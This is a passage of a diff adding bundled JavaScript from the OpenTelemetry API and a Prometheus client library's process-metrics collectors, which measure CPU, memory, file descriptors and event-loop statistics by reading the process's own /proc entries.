node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/api/propagation.js +var API_NAME4, NOOP_TEXT_MAP_PROPAGATOR, PropagationAPI; +var init_propagation = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/api/propagation.js"() { + init_global_utils(); + init_NoopTextMapPropagator(); + init_TextMapPropagator(); + init_context_helpers(); + init_utils(); + init_diag(); + API_NAME4 = "propagation"; + NOOP_TEXT_MAP_PROPAGATOR = new NoopTextMapPropagator(); + PropagationAPI = class _PropagationAPI { + /** Empty private constructor prevents end users from constructing a new instance of the API */ + constructor() { + this.createBaggage = createBaggage; + this.getBaggage = getBaggage; + this.getActiveBaggage = getActiveBaggage; + this.setBaggage = setBaggage; + this.deleteBaggage = deleteBaggage; + } + /** Get the singleton instance of the Propagator API */ + static getInstance() { + if (!this._instance) { + this._instance = new _PropagationAPI(); + } + return this._instance; + } + /** + * Set the current propagator. + * + * @returns true if the propagator was successfully registered, else false + */ + setGlobalPropagator(propagator) { + return registerGlobal(API_NAME4, propagator, DiagAPI.instance()); + } + /** + * Inject context into a carrier to be propagated inter-process + * + * @param context Context carrying tracing data to inject + * @param carrier carrier to inject context into + * @param setter Function used to set values on the carrier + */ + inject(context2, carrier, setter = defaultTextMapSetter) { + return this._getGlobalPropagator().inject(context2, carrier, setter); + } + /** + * Extract context from a carrier + * + * @param context Context which the newly created context will inherit from + * @param carrier Carrier to extract context from + * @param getter Function used to extract keys from a carrier + */ + extract(context2, carrier, getter = defaultTextMapGetter) { + return this._getGlobalPropagator().extract(context2, carrier, getter); + } + /** + * Return a list of all fields which may be used by the propagator. + */ + fields() { + return this._getGlobalPropagator().fields(); + } + /** Remove the global propagator */ + disable() { + unregisterGlobal(API_NAME4, DiagAPI.instance()); + } + _getGlobalPropagator() { + return getGlobal(API_NAME4) || NOOP_TEXT_MAP_PROPAGATOR; + } + }; + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/propagation-api.js +var propagation; +var init_propagation_api = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/propagation-api.js"() { + init_propagation(); + propagation = PropagationAPI.getInstance(); + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/api/trace.js +var API_NAME5, TraceAPI; +var init_trace = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/api/trace.js"() { + init_global_utils(); + init_ProxyTracerProvider(); + init_spancontext_utils(); + init_context_utils(); + init_diag(); + API_NAME5 = "trace"; + TraceAPI = class _TraceAPI { + /** Empty private constructor prevents end users from constructing a new instance of the API */ + constructor() { + this._proxyTracerProvider = new ProxyTracerProvider(); + this.wrapSpanContext = wrapSpanContext; + this.isSpanContextValid = isSpanContextValid; + this.deleteSpan = deleteSpan; + this.getSpan = getSpan; + this.getActiveSpan = getActiveSpan; + this.getSpanContext = getSpanContext; + this.setSpan = setSpan; + this.setSpanContext = setSpanContext; + } + /** Get the singleton instance of the Trace API */ + static getInstance() { + if (!this._instance) { + this._instance = new _TraceAPI(); + } + return this._instance; + } + /** + * Set the current global tracer. + * + * @returns true if the tracer provider was successfully registered, else false + */ + setGlobalTracerProvider(provider) { + const success2 = registerGlobal(API_NAME5, this._proxyTracerProvider, DiagAPI.instance()); + if (success2) { + this._proxyTracerProvider.setDelegate(provider); + } + return success2; + } + /** + * Returns the global tracer provider. + */ + getTracerProvider() { + return getGlobal(API_NAME5) || this._proxyTracerProvider; + } + /** + * Returns a tracer from the global tracer provider. + */ + getTracer(name, version3) { + return this.getTracerProvider().getTracer(name, version3); + } + /** Remove the global tracer provider */ + disable() { + unregisterGlobal(API_NAME5, DiagAPI.instance()); + this._proxyTracerProvider = new ProxyTracerProvider(); + } + }; + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace-api.js +var trace; +var init_trace_api = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace-api.js"() { + init_trace(); + trace = TraceAPI.getInstance(); + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/index.js +var esm_exports = {}; +__export(esm_exports, { + DiagConsoleLogger: () => DiagConsoleLogger, + DiagLogLevel: () => DiagLogLevel, + INVALID_SPANID: () => INVALID_SPANID, + INVALID_SPAN_CONTEXT: () => INVALID_SPAN_CONTEXT, + INVALID_TRACEID: () => INVALID_TRACEID, + ProxyTracer: () => ProxyTracer, + ProxyTracerProvider: () => ProxyTracerProvider, + ROOT_CONTEXT: () => ROOT_CONTEXT, + SamplingDecision: () => SamplingDecision, + SpanKind: () => SpanKind, + SpanStatusCode: () => SpanStatusCode, + TraceFlags: () => TraceFlags, + ValueType: () => ValueType, + baggageEntryMetadataFromString: () => baggageEntryMetadataFromString, + context: () => context, + createContextKey: () => createContextKey, + createNoopMeter: () => createNoopMeter, + createTraceState: () => createTraceState, + default: () => esm_default, + defaultTextMapGetter: () => defaultTextMapGetter, + defaultTextMapSetter: () => defaultTextMapSetter, + diag: () => diag2, + isSpanContextValid: () => isSpanContextValid, + isValidSpanId: () => isValidSpanId, + isValidTraceId: () => isValidTraceId, + metrics: () => metrics, + propagation: () => propagation, + trace: () => trace +}); +var esm_default; +var init_esm = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/index.js"() { + init_utils(); + init_context(); + init_consoleLogger(); + init_types(); + init_NoopMeter(); + init_Metric(); + init_TextMapPropagator(); + init_ProxyTracer(); + init_ProxyTracerProvider(); + init_SamplingResult(); + init_span_kind(); + init_status(); + init_trace_flags(); + init_utils2(); + init_spancontext_utils(); + init_invalid_span_constants(); + init_context_api(); + init_diag_api(); + init_metrics_api(); + init_propagation_api(); + init_trace_api(); + esm_default = { + context, + diag: diag2, + metrics, + propagation, + trace + }; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/processCpuTotal.js +var require_processCpuTotal = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/processCpuTotal.js"(exports, module) { + "use strict"; + var OtelApi = (init_esm(), __toCommonJS(esm_exports)); + var Counter2 = require_counter(); + var PROCESS_CPU_USER_SECONDS = "process_cpu_user_seconds_total"; + var PROCESS_CPU_SYSTEM_SECONDS = "process_cpu_system_seconds_total"; + var PROCESS_CPU_SECONDS = "process_cpu_seconds_total"; + module.exports = (registry2, config2 = {}) => { + const registers = registry2 ? [registry2] : void 0; + const namePrefix = config2.prefix ? config2.prefix : ""; + const labels = config2.labels ? config2.labels : {}; + const exemplars = config2.enableExemplars ? config2.enableExemplars : false; + const labelNames = Object.keys(labels); + let lastCpuUsage = process.cpuUsage(); + const cpuUserUsageCounter = new Counter2({ + name: namePrefix + PROCESS_CPU_USER_SECONDS, + help: "Total user CPU time spent in seconds.", + enableExemplars: exemplars, + registers, + labelNames, + // Use this one metric's `collect` to set all metrics' values. + collect() { + const cpuUsage = process.cpuUsage(); + const userUsageMicros = cpuUsage.user - lastCpuUsage.user; + const systemUsageMicros = cpuUsage.system - lastCpuUsage.system; + lastCpuUsage = cpuUsage; + if (this.enableExemplars) { + let exemplarLabels = {}; + const currentSpan = OtelApi.trace.getSpan(OtelApi.context.active()); + if (currentSpan) { + exemplarLabels = { + traceId: currentSpan.spanContext().traceId, + spanId: currentSpan.spanContext().spanId + }; + } + cpuUserUsageCounter.inc({ + labels, + value: userUsageMicros / 1e6, + exemplarLabels + }); + cpuSystemUsageCounter.inc({ + labels, + value: systemUsageMicros / 1e6, + exemplarLabels + }); + cpuUsageCounter.inc({ + labels, + value: (userUsageMicros + systemUsageMicros) / 1e6, + exemplarLabels + }); + } else { + cpuUserUsageCounter.inc(labels, userUsageMicros / 1e6); + cpuSystemUsageCounter.inc(labels, systemUsageMicros / 1e6); + cpuUsageCounter.inc( + labels, + (userUsageMicros + systemUsageMicros) / 1e6 + ); + } + } + }); + const cpuSystemUsageCounter = new Counter2({ + name: namePrefix + PROCESS_CPU_SYSTEM_SECONDS, + help: "Total system CPU time spent in seconds.", + enableExemplars: exemplars, + registers, + labelNames + }); + const cpuUsageCounter = new Counter2({ + name: namePrefix + PROCESS_CPU_SECONDS, + help: "Total user and system CPU time spent in seconds.", + enableExemplars: exemplars, + registers, + labelNames + }); + }; + module.exports.metricNames = [ + PROCESS_CPU_USER_SECONDS, + PROCESS_CPU_SYSTEM_SECONDS, + PROCESS_CPU_SECONDS + ]; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/processStartTime.js +var require_processStartTime = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/processStartTime.js"(exports, module) { + "use strict"; + var Gauge = require_gauge(); + var uptime = typeof process !== "undefined" && typeof process.uptime === "function" ? process.uptime() : 0; + var startInSeconds = Math.round(Date.now() / 1e3 - uptime); + var PROCESS_START_TIME = "process_start_time_seconds"; + module.exports = (registry2, config2 = {}) => { + const namePrefix = config2.prefix ? config2.prefix : ""; + const labels = config2.labels ? config2.labels : {}; + const labelNames = Object.keys(labels); + new Gauge({ + name: namePrefix + PROCESS_START_TIME, + help: "Start time of the process since unix epoch in seconds.", + registers: registry2 ? [registry2] : void 0, + labelNames, + aggregator: "omit", + collect() { + this.set(labels, startInSeconds); + } + }); + }; + module.exports.metricNames = [PROCESS_START_TIME]; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/osMemoryHeapLinux.js +var require_osMemoryHeapLinux = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/osMemoryHeapLinux.js"(exports, module) { + "use strict"; + var { debuglog } = __require("node:util"); + var Gauge = require_gauge(); + var fs2 = __require("fs"); + var debug = debuglog("prom:metrics:os-memory-heap-linux"); + var values2 = ["VmSize", "VmRSS", "VmData"]; + var PROCESS_RESIDENT_MEMORY = "process_resident_memory_bytes"; + var PROCESS_VIRTUAL_MEMORY = "process_virtual_memory_bytes"; + var PROCESS_HEAP = "process_heap_bytes"; + function structureOutput(input) { + return input.split("\n").reduce((acc, string4) => { + if (!values2.some((value2) => string4.startsWith(value2))) { + return acc; + } + const split = string4.split(":"); + let value = split[1].trim(); + value = value.substr(0, value.length - 3); + value = Number(value) * 1024; + acc[split[0]] = value; + return acc; + }, {}); + } + module.exports = (registry2, config2 = {}) => { + const registers = registry2 ? [registry2] : void 0; + const namePrefix = config2.prefix ? config2.prefix : ""; + const labels = config2.labels ? config2.labels : {}; + const labelNames = Object.keys(labels); + const residentMemGauge = new Gauge({ + name: namePrefix + PROCESS_RESIDENT_MEMORY, + help: "Resident memory size in bytes.", + registers, + labelNames, + // Use this one metric's `collect` to set all metrics' values. + collect() { + try { + const stat = fs2.readFileSync("/proc/self/status", "utf8"); + const structuredOutput = structureOutput(stat); + residentMemGauge.set(labels, structuredOutput.VmRSS); + virtualMemGauge.set(labels, structuredOutput.VmSize); + heapSizeMemGauge.set(labels, structuredOutput.VmData); + } catch (error51) { + debug("failed to collect Linux memory metrics: %o", error51); + } + } + }); + const virtualMemGauge = new Gauge({ + name: namePrefix + PROCESS_VIRTUAL_MEMORY, + help: "Virtual memory size in bytes.", + registers, + labelNames + }); + const heapSizeMemGauge = new Gauge({ + name: namePrefix + PROCESS_HEAP, + help: "Process heap size in bytes.", + registers, + labelNames + }); + }; + module.exports.metricNames = [ + PROCESS_RESIDENT_MEMORY, + PROCESS_VIRTUAL_MEMORY, + PROCESS_HEAP + ]; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/helpers/safeRss.js +var require_safeRss = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/helpers/safeRss.js"(exports, module) { + "use strict"; + var { debuglog } = __require("node:util"); + var debug = debuglog("prom:metrics:safe-rss"); + function safeRss() { + try { + return process.memoryUsage.rss(); + } catch (error51) { + debug("process.memoryUsage.rss() failed: %o", error51); + return; + } + } + module.exports = safeRss; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/osMemoryHeap.js +var require_osMemoryHeap = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/osMemoryHeap.js"(exports, module) { + "use strict"; + var Gauge = require_gauge(); + var linuxVariant = require_osMemoryHeapLinux(); + var safeRss = require_safeRss(); + var PROCESS_RESIDENT_MEMORY = "process_resident_memory_bytes"; + function notLinuxVariant(registry2, config2 = {}) { + const namePrefix = config2.prefix ? config2.prefix : ""; + const labels = config2.labels ? config2.labels : {}; + const labelNames = Object.keys(labels); + new Gauge({ + name: namePrefix + PROCESS_RESIDENT_MEMORY, + help: "Resident memory size in bytes.", + registers: registry2 ? [registry2] : void 0, + labelNames, + collect() { + const rss = safeRss(); + if (rss !== void 0) { + this.set(labels, rss); + } + } + }); + } + function isLinux() { + return typeof process !== "undefined" && process.platform === "linux"; + } + module.exports = (registry2, config2) => isLinux() ? linuxVariant(registry2, config2) : notLinuxVariant(registry2, config2); + module.exports.metricNames = isLinux() ? linuxVariant.metricNames : [PROCESS_RESIDENT_MEMORY]; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/processOpenFileDescriptors.js +var require_processOpenFileDescriptors = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/processOpenFileDescriptors.js"(exports, module) { + "use strict"; + var { debuglog } = __require("node:util"); + var Gauge = require_gauge(); + var fs2 = __require("fs"); + var process3 = __require("process"); + var debug = debuglog("prom:metrics:process-open-fds"); + var PROCESS_OPEN_FDS = "process_open_fds"; + module.exports = (registry2, config2 = {}) => { + if (process3.platform !== "linux") { + return; + } + const namePrefix = config2.prefix ? config2.prefix : ""; + const labels = config2.labels ? config2.labels : {}; + const labelNames = Object.keys(labels); + new Gauge({ + name: namePrefix + PROCESS_OPEN_FDS, + help: "Number of open file descriptors.", + registers: registry2 ? [registry2] : void 0, + labelNames, + collect() { + try { + const fds = fs2.readdirSync("/proc/self/fd"); + this.set(labels, fds.length - 1); + } catch (error51) { + debug("failed to collect open file descriptors: %o", error51); + } + } + }); + }; + module.exports.metricNames = [PROCESS_OPEN_FDS]; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/processMaxFileDescriptors.js +var require_processMaxFileDescriptors = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/processMaxFileDescriptors.js"(exports, module) { + "use strict"; + var { debuglog } = __require("node:util"); + var Gauge = require_gauge(); + var fs2 = __require("fs"); + var debug = debuglog("prom:metrics:process-max-fds"); + var PROCESS_MAX_FDS = "process_max_fds"; + var maxFds; + module.exports = (registry2, config2 = {}) => { + if (maxFds === void 0) { + try { + const limits = fs2.readFileSync("/proc/self/limits", "utf8"); + const lines = limits.split("\n"); + for (const line2 of lines) { + if (line2.startsWith("Max open files")) { + const parts = line2.split(/ +/); + maxFds = Number(parts[1]); + break; + } + } + } catch (error51) { + debug("failed to collect maximum file descriptors: %o", error51); + return; + } + } + if (maxFds === void 0) return; + const namePrefix = config2.prefix ? config2.prefix : ""; + const labels = config2.labels ? config2.labels : {}; + const labelNames = Object.keys(labels); + new Gauge({ + name: namePrefix + PROCESS_MAX_FDS, + help: "Maximum number of open file descriptors.", + registers: registry2 ? [registry2] : void 0, + labelNames, + collect() { + if (maxFds !== void 0) this.set(labels, maxFds); + } + }); + }; + module.exports.metricNames = [PROCESS_MAX_FDS]; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/eventLoopLag.js +var require_eventLoopLag = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/eventLoopLag.js"(exports, module) { + "use strict"; + var { debuglog } = __require("node:util"); + var Gauge = require_gauge(); + var debug = debuglog("prom:metrics:event-loop-lag"); + var perf_hooks; + try { + perf_hooks = __require("perf_hooks"); + } catch (error51) { + debug("perf_hooks module is unavailable: %o", error51); + } + var NODEJS_EVENTLOOP_LAG = "nodejs_eventloop_lag_seconds"; + var NODEJS_EVENTLOOP_LAG_MIN = "nodejs_eventloop_lag_min_seconds"; + var NODEJS_EVENTLOOP_LAG_MAX = "nodejs_eventloop_lag_max_seconds"; + var NODEJS_EVENTLOOP_LAG_MEAN = "nodejs_eventloop_lag_mean_seconds"; + var NODEJS_EVENTLOOP_LAG_STDDEV = "nodejs_eventloop_lag_stddev_seconds"; + var NODEJS_EVENTLOOP_LAG_P50 = "nodejs_eventloop_lag_p50_seconds"; + var NODEJS_EVENTLOOP_LAG_P90 = "nodejs_eventloop_lag_p90_seconds"; + var NODEJS_EVENTLOOP_LAG_P99 = "nodejs_eventloop_lag_p99_seconds"; + function reportEventloopLag(start, gauge, labels) { + const delta = process.hrtime(start); + const nanosec = delta[0] * 1e9 + delta[1]; + const seconds = nanosec / 1e9; + gauge.set(labels, seconds); + } + module.exports = (registry2, config2 = {}) => { + const namePrefix = config2.prefix ? config2.prefix : ""; + const labels = config2.labels ? config2.labels : {}; + const labelNames = Object.keys(labels); + const registers = registry2 ? [registry2] : void 0; + let collect = () => { + const start = process.hrtime(); + setImmediate(reportEventloopLag, start, lag, labels); + }; + if (perf_hooks && perf_hooks.monitorEventLoopDelay) { + try { + const histogram = perf_hooks.monitorEventLoopDelay({ + resolution: config2.eventLoopMonitoringPrecision + }); + histogram.enable(); + collect = () => { + const start = process.hrtime(); + setImmediate(reportEventloopLag, start, lag, labels); + lagMin.set(labels, histogram.min / 1e9); + lagMax.set(labels, histogram.max / 1e9); + lagMean.set(labels, histogram.mean / 1e9); + lagStddev.set(labels, histogram.stddev / 1e9); + lagP50.set(labels, histogram.percentile(50) / 1e9); + lagP90.set(labels, histogram.percentile(90) / 1e9); + lagP99.set(labels, histogram.percentile(99) / 1e9); + histogram.reset(); + }; + } catch (e) { + if (e.code === "ERR_NOT_IMPLEMENTED") { + return; + } + throw e; + } + } + const lag = new Gauge({ + name: namePrefix + NODEJS_EVENTLOOP_LAG, + help: "Lag of event loop in seconds.", + registers, + labelNames, + aggregator: "average", + // Use this one metric's `collect` to set all metrics' values. + collect + }); + const lagMin = new Gauge({ + name: namePrefix + NODEJS_EVENTLOOP_LAG_MIN, + help: "The minimum recorded event loop delay.", + registers, + labelNames, + aggregator: "min" + }); + const lagMax = new Gauge({ + name: namePrefix + NODEJS_EVENTLOOP_LAG_MAX, + help: "The maximum recorded event loop delay.", + registers, + labelNames, + aggregator: "max" + }); + const lagMean = new Gauge({ + name: namePrefix + NODEJS_EVENTLOOP_LAG_MEAN, + help: "The mean of the recorded event loop delays.", + registers, + labelNames, + aggregator: "average" + }); + const lagStddev = new Gauge({ + name: namePrefix + NODEJS_EVENTLOOP_LAG_STDDEV, + help: "The standard deviation of the recorded event loop delays.", + registers, + labelNames, + aggregator: "average" + }); + const lagP50 = new Gauge({ + name: namePrefix + NODEJS_EVENTLOOP_LAG_P50, + help: "The 50th percentile of the recorded event loop delays.", + registers, + labelNames, + aggregator: "average" + }); + const lagP90 = new Gauge({ + name: namePrefix + NODEJS_EVENTLOOP_LAG_P90, + help: "The 90th percentile of the recorded event loop delays.", + registers, + labelNames, + aggregator: "average" + }); + const lagP99 = new Gauge({ + name: namePrefix + NODEJS_EVENTLOOP_LAG_P99, + help: "The 99th percentile of the recorded event loop delays.", + registers, + labelNames, + aggregator: "average" + }); + }; + module.exports.metricNames = [ + NODEJS_EVENTLOOP_LAG, + NODEJS_EVENTLOOP_LAG_MIN, + NODEJS_EVENTLOOP_LAG_MAX, + NODEJS_EVENTLOOP_LAG_MEAN, + NODEJS_EVENTLOOP_LAG_STDDEV, + NODEJS_EVENTLOOP_LAG_P50, + NODEJS_EVENTLOOP_LAG_P90, + NODEJS_EVENTLOOP_LAG_P99 + ]; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/eventLoopUtilization.js +var require_eventLoopUtilization = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/eventLoopUtilization.js"(exports, module) { + "use strict"; + var Summary = require_summary(); + var Histogram2 = require_histogram(); + var { performance: performance3 } = __require("perf_hooks"); + var NODEJS_EVENTLOOP_UTILIZATION_SUMMARY = "nodejs_eventloop_utilization_summary"; + var NODEJS_EVENTLOOP_UTILIZATION_HISTOGRAM = "nodejs_eventloop_utilization_histogram"; + var DEFAULT_ELU_HISTOGRAM_BUCKETS = [ + 0.01, + 0.05, + 0.1, + 0.25, + 0.5, + 0.6, + 0.7, + 0.75, + 0.8, + 0.9, + 0.95, + 0.99, + 1 + ]; + var DEFAULT_ELU_SUMMARY_PERCENTILES = [ + 0.01, + 0.05, + 0.5, + 0.9, + 0.95, + 0.99, + 0.999 + ]; + module.exports = (registry2, config2 = {}) => { + const eventLoopUtilization = performance3.eventLoopUtilization; + const namePrefix = config2.prefix ?? ""; + const labels = config2.labels ?? {}; + const labelNames = Object.keys(labels); + const registers = registry2 ? [registry2] : void 0; + const ageBuckets = config2.eventLoopUtilizationAgeBuckets ?? 5; + const maxAgeSeconds = config2.eventLoopUtilizationMaxAgeSeconds ?? 60; + const percentiles = config2.eventLoopUtilizationPercentiles ?? DEFAULT_ELU_SUMMARY_PERCENTILES; + const summary = new Summary({ + name: namePrefix + NODEJS_EVENTLOOP_UTILIZATION_SUMMARY, + help: "Ratio of time the event loop is not idling in the event provider to the total time the event loop is running.", + maxAgeSeconds, + ageBuckets, + percentiles, + registers, + labelNames + }); + const buckets = config2.eventLoopUtilizationBuckets ?? DEFAULT_ELU_HISTOGRAM_BUCKETS; + const histogram = new Histogram2({ + name: namePrefix + NODEJS_EVENTLOOP_UTILIZATION_HISTOGRAM, + help: "Ratio of time the event loop is not idling in the event provider to the total time the event loop is running.", + buckets, + registers, + labelNames + }); + const intervalTimeout = config2.eventLoopUtilizationTimeout ?? 100; + let elu1 = eventLoopUtilization(); + let start = process.hrtime(); + setInterval(() => { + const elu2 = eventLoopUtilization(); + const end = process.hrtime(); + const timeMs = (end[0] - start[0]) * 1e3 + (end[1] - start[1]) / 1e6; + const value = eventLoopUtilization(elu2, elu1).utilization; + const blockedIntervalsNumber = Math.round(timeMs / intervalTimeout); + for (let i = 0; i < blockedIntervalsNumber; i++) { + summary.observe(value); + histogram.observe(value); + } + elu1 = elu2; + start = end; + }, intervalTimeout).unref(); + }; + module.exports.metricNames = [ + NODEJS_EVENTLOOP_UTILIZATION_SUMMARY, + NODEJS_EVENTLOOP_UTILIZATION_HISTOGRAM + ]; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/helpers/processMetricsHelpers.js +var require_processMetricsHelpers = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/helpers/processMetricsHelpers.js"(exports, module) { + "use strict"; + function aggregateByObjectName(list) { + const data = {}; + for (let i = 0; i < list.length; i++) { + const listElement = list[i]; + if (!listElement || typeof listElement.constructor === "undefined") { + continue; + } + if (Object.hasOwn(data, listElement.constructor.name)) { + data[listElement.constructor.name] += 1; + } else { + data[listElement.constructor.name] = 1; + } + } + return data; + } + function updateMetrics(gauge, data, labels) { + gauge.reset(); + for (const key in data) { + gauge.set(Object.assign({ type: key }, labels || {}), data[key]); + } + } + module.exports = { + aggregateByObjectName, + updateMetrics + }; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/processHandles.js +var require_processHandles = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/processHandles.js"(exports, module) { + "use strict"; + var { aggregateByObjectName } = require_processMetricsHelpers(); + var { updateMetrics } = require_processMetricsHelpers(); + var Gauge = require_gauge(); + var NODEJS_ACTIVE_HANDLES = "nodejs_active_handles"; + var NODEJS_ACTIVE_HANDLES_TOTAL = "nodejs_active_handles_total"; + module.exports = (registry2, config2 = {}) => { + if (typeof process._getActiveHandles !== "function") { + return; + } + const registers = registry2 ? [registry2] : void 0; + const namePrefix = config2.prefix ? config2.prefix : ""; + const labels = config2.labels ? config2.labels : {}; + const labelNames = Object.keys(labels); + new Gauge({ + name: namePrefix + NODEJS_ACTIVE_HANDLES, + help: "Number of active libuv handles grouped by handle type. Every handle type is C++ class name.", + labelNames: ["type", ...labelNames], + registers, + collect() { + const handles = process._getActiveHandles(); + updateMetrics(this, aggregateByObjectName(handles), labels); + } + }); + new Gauge({ + name: namePrefix + NODEJS_ACTIVE_HANDLES_TOTAL, + help: "Total number of active handles.", + registers, + labelNames, + collect() { + const handles = process._getActiveHandles(); + this.set(labels, handles.length); + } + }); + }; + module.exports.metricNames = [ + NODEJS_ACTIVE_HANDLES, + NODEJS_ACTIVE_HANDLES_TOTAL + ]; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/processRequests.js +var require_processRequests = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/processRequests.js"(exports, module) { + "use strict"; + var Gauge = require_gauge(); + var { aggregateByObjectName } = require_processMetricsHelpers(); + var { updateMetrics } = require_processMetricsHelpers(); + var NODEJS_ACTIVE_REQUESTS = "nodejs_active_requests"; + var NODEJS_ACTIVE_REQUESTS_TOTAL = "nodejs_active_requests_total"; + module.exports = (registry2, config2 = {}) => { + if (typeof process._getActiveRequests !== "function") { + return; + } + const namePrefix = config2.prefix ? config2.prefix : ""; + const labels = config2.labels ? config2.labels : {}; + const labelNames = Object.keys(labels); + new Gauge({ + name: namePrefix + NODEJS_ACTIVE_REQUESTS, + help: "Number of active libuv requests grouped by request type. Every request type is C++ class name.", + labelNames: ["type", ...labelNames], + registers: registry2 ? [registry2] : void 0, + collect() { + const requests = process._getActiveRequests(); + updateMetrics(this, aggregateByObjectName(requests), labels); + } + }); + new Gauge({ + name: namePrefix + NODEJS_ACTIVE_REQUESTS_TOTAL, + help: "Total number of active requests.", + registers: registry2 ? [registry2] : void 0, + labelNames, + collect() { + const requests = process._getActiveRequests(); + this.set(labels, requests.length); + } + }); + }; + module.exports.metricNames = [ + NODEJS_ACTIVE_REQUESTS, + NODEJS_ACTIVE_REQUESTS_TOTAL + ]; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/processResources.js +var require_processResources = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/processResources.js"(exports, module) { + "use strict"; + var Gauge = require_gauge(); + var { updateMetrics } = require_processMetricsHelpers(); + var NODEJS_ACTIVE_RESOURCES = "nodejs_active_resources"; + var NODEJS_ACTIVE_RESOURCES_TOTAL = "nodejs_active_resources_total"; + module.exports = (registry2, config2 = {}) => { + if (typeof process.getActiveResourcesInfo !== "function") { + return; + } + const namePrefix = config2.prefix ? config2.prefix : ""; + const labels = config2.labels ? config2.labels : {}; + const labelNames = Object.keys(labels); + new Gauge({ + name: namePrefix + NODEJS_ACTIVE_RESOURCES, + help: "Number of active resources that are currently keeping the event loop alive, grouped by async resource type.", + labelNames: ["type", ...labelNames], + registers: registry2 ? [registry2] : void 0, + collect() { + const resources = process.getActiveResourcesInfo(); + const data = {}; + for (let i = 0; i < resources.length; i++) { + const resource = resources[i]; + if (Object.hasOwn(data, resource)) { + data[resource] += 1; + } else { + data[resource] = 1; + } + } + updateMetrics(this, data, labels); + } + }); + new Gauge({ + name: namePrefix + NODEJS_ACTIVE_RESOURCES_TOTAL, + help: "Total number of active resources.", + registers: registry2 ? [registry2] : void 0, + labelNames, + collect() { + const resources = process.getActiveResourcesInfo(); + this.set(labels, resources.length); + } + }); + }; + module.exports.metricNames = [ + NODEJS_ACTIVE_RESOURCES, + NODEJS_ACTIVE_RESOURCES_TOTAL + ]; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/helpers/safeMemoryUsage.js +var require_safeMemoryUsage = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/helpers/safeMemoryUsage.js"(exports, module) { + "use strict"; + var { debuglog } = __require("node:util"); + var debug = debuglog("prom:metrics:safe-memory-usage"); + function safeMemoryUsage() { + try { + return process.memoryUsage(); + } catch (error51) { + debug("process.memoryUsage() failed: %o", error51); + return; + } + } + module.exports = safeMemoryUsage; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/heapSizeAndUsed.js +var require_heapSizeAndUsed = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/heapSizeAndUsed.js"(exports, module) { + "use strict"; + var Gauge = require_gauge(); + var safeMemoryUsage = require_safeMemoryUsage(); + var 